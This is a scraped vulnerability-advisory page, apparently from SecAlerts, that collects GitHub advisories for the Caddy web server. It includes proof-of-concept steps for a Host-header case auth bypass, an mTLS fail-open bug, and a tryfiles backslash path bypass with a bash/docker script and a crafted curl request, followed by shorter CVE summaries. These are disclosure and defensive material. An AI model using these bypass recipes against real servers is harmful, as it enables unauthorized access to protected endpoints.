request","request":{"remoteip":"127.0.0.1","remoteport":"53234","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"H050.TEST","uri":"/admin","headers":{"Accept":["/"],"User-Agent":["curl/8.15.0"]}},"bytesread":0,"userid":"","duration":0.00000551,"size":5,"status":200,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770588549.9751372,"msg":"shutting down apps, then terminating","signal":"SIGTERM"} {"level":"warn","ts":1770588549.9751456,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"} {"level":"debug","ts":1770588549.9751775,"logger":"events","msg":"event","name":"stopping","id":"e02c5e64-9d76-48b6-a967-4f003850bdd4","origin":"","data":null} {"level":"info","ts":1770588549.9751873,"logger":"http","msg":"servers shutting down with eternal grace period"} {"level":"info","ts":1770588549.975331,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"} {"level":"info","ts":1770588549.9753368,"msg":"shutdown complete","signal":"SIGTERM","exitcode":0} </details>

Impact This is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on host matchers with large host lists (>100) to select protected routes (e.g. applying basicauth, forwardauth, respond deny rules, or protecting reverseproxy backends) can be bypassed by varying the case of the Host header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.

The reproduction is minimal per the reporting guidance; a realistic "full" scenario is Caddy fronting a multi-tenant app and doing forwardauth/basicauth/deny for /admin only when host is in a big (>100) allowlist, but the default handler still reverseproxying to the same app. Then sending Host: H050.TEST skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> /admin is reachable without the intended guard.

AI Use Disclosure A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.

Disclosure/crediting

Asim Viladi Oglu Manizada

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.08%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Two swallowed errors in ClientAuthentication.provision() cause mTLS client certificate authentication to silently fail open when a CA certificate file is missing, unreadable, or malformed. The server starts without error but accepts any client certificate signed by any system-trusted CA, completely bypassing the intended private CA trust boundary.

Details

In modules/caddytls/connpolicy.go, the provision() method has two return nil statements that should be return err:

Bug #1 — line 787: go ders, err := convertPEMFilesToDER(fpath) if err != nil { return nil // BUG: should be "return err" }

Bug #2 — line 800: go err := caPool.Provision(ctx) if err != nil { return nil // BUG: should be "return err" }

Compare with line 811 which correctly returns the error: go caRaw, err := ctx.LoadModule(clientauth, "CARaw") if err != nil { return err // CORRECT }

When the error is swallowed on line 787, the chain is:

1. TrustedCACerts remains empty (no DER data appended from the file) 2. The len(clientauth.TrustedCACerts) > 0 guard on line 794 is false — skipped 3. clientauth.CARaw is nil — line 806 returns nil 4. clientauth.ca remains nil — no CA pool was created 5. provision() returns nil — caller thinks provisioning succeeded

Then in ConfigureTLSConfig():

6. Active() returns true because TrustedCACertPEMFiles is non-empty 7. Default mode is set to RequireAndVerifyClientCert (line 860) 8. But clientauth.ca is nil, so cfg.ClientCAs is never set (line 867 skipped) 9. Go's crypto/tls with RequireAndVerifyClientCert + nil ClientCAs verifies client certs against the system root pool instead of the intended CA

The fix is changing return nil to return err on lines 787 and 800.

PoC

1. Configure Caddy with mTLS pointing to a nonexistent CA file:

{ "apps": { "http": { "servers": { "srv0": { "listen": [":443"], "tlsconnectionpolicies": [{ "clientauthentication": { "trustedcacertspemfiles": ["/nonexistent/ca.pem"] } }] } } } } }

2. Start Caddy — it starts without any error or warning.

3. Connect with any client certificate (even self-signed): bash openssl sclient -connect localhost:443 -cert client.pem -key client-key.pem

4. The TLS handshake succeeds despite the certificate not being signed by the intended CA.

A full Go test that proves the bug end-to-end (including a successful TLS handshake with a random self-signed client cert) is here: https://gist.github.com/moscowchill/9566c79c76c0b64c57f8bd0716f97c48

Test output: === RUN TestSwallowedErrorMTLSFailOpen BUG CONFIRMED: provision() swallowed the error from a nonexistent CA file. tls.Config has RequireAndVerifyClientCert but ClientCAs is nil. CRITICAL: TLS handshake succeeded with a self-signed client cert! The server accepted a client certificate NOT signed by the intended CA. --- PASS: TestSwallowedErrorMTLSFailOpen (0.03s)

Impact

Any deployment using trustedcacertfile or trustedcacertspemfiles for mTLS will silently degrade to accepting any system-trusted client certificate if the CA file becomes unavailable. This can happen due to a typo in the path, file rotation, corruption, or permission changes. The server gives no indication that mTLS is misconfigured.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.10%
Input Validation
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The tryfiles directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html. caddy example.com { root /srv encode tryfiles {path} /index.html fileserver }

tryfiles patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.

go var globSafeRepl = strings.NewReplacer( "", "\\", "[", "\\[", "?", "\\?", )

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) { if runtime.GOOS == "windows" { return val, nil } switch v := val.(type) { case string: return globSafeRepl.Replace(v), nil case fmt.Stringer: return globSafeRepl.Replace(v.String()), nil } return val, nil })

The problem here is that it does not escape backslashes. /something-\/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/ to the internal network and its upstream is a Caddy server that uses tryfiles, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the tryfiles directive and the filtering route/handle must not be in a same block because tryfiles directive executes before route and handle directives.

For example the following config isn't vulnerable.

caddy :80 { root /srv

route /documents/ { respond "Access denied" 403 }

tryfiles {path} /index.html fileserver }

But this one is vulnerable.

caddy :80 { root /srv

route /documents/ { respond "Access denied" 403 }

route / { tryfiles {path} /index.html } fileserver }

This config is also vulnerable because Header directives executes before tryfiles.

caddy :80 { root /srv header /uploads/ { X-Content-Type-Options "nosniff" Content-Security-Policy "default-src 'none';" } tryfiles {path} /index.html fileserver }

PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

bash #!/bin/bash

mkdir secret echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF' :80 { root /srv

tryfiles {path} /index.html fileserver } EOF

cat > nginx.conf <<'EOF' events {}

http { server { listen 80; location /secret { return 403; }

location / { proxypass http://caddy; proxysetheader Host $host; } } } EOF

cat > docker-compose.yml <<'EOF' services: caddy: # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb image: caddy:latest volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro - ./secret:/srv/secret:ro nginx: # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208 image: nginx:latest volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro ports: - "8000:80" EOF

docker compose up -d curl 'localhost:8000/secre%5ct/secret.txt'

Impact

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

AI Usage

An LLM was used to polish this report.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Caddy v2.4.6 was discovered to contain an open redirection vulnerability which allows attackers to redirect users to phishing websites via crafted URLs

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

First published (updated )
Severity
4.3
Infoleak
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Withdrawn Advisory This advisory has been withdrawn because it is a bug, not a vulnerability. According to the maintainer, the bug only affects the client side of the request and cannot cause a denial of service on the server.

Original Description An out-of-bounds read in the rewrite function at /modules/caddyhttp/rewrite/rewrite.go in Caddy v2.5.1 allows attackers to cause a Denial of Service (DoS) on the client side via a crafted URI.

1 / 3
Source: GitHub
First published (updated )
Severity
6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

The caddy-geo-ip (aka GeoIP) middleware through 0.6.0 for Caddy 2, when trustheader X-Forwarded-For is used, allows attackers to spoof their source IP address via an X-Forwarded-For header, which may bypass a protection mechanism (trustedproxy directive in reverseproxy or IP address range restrictions).

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203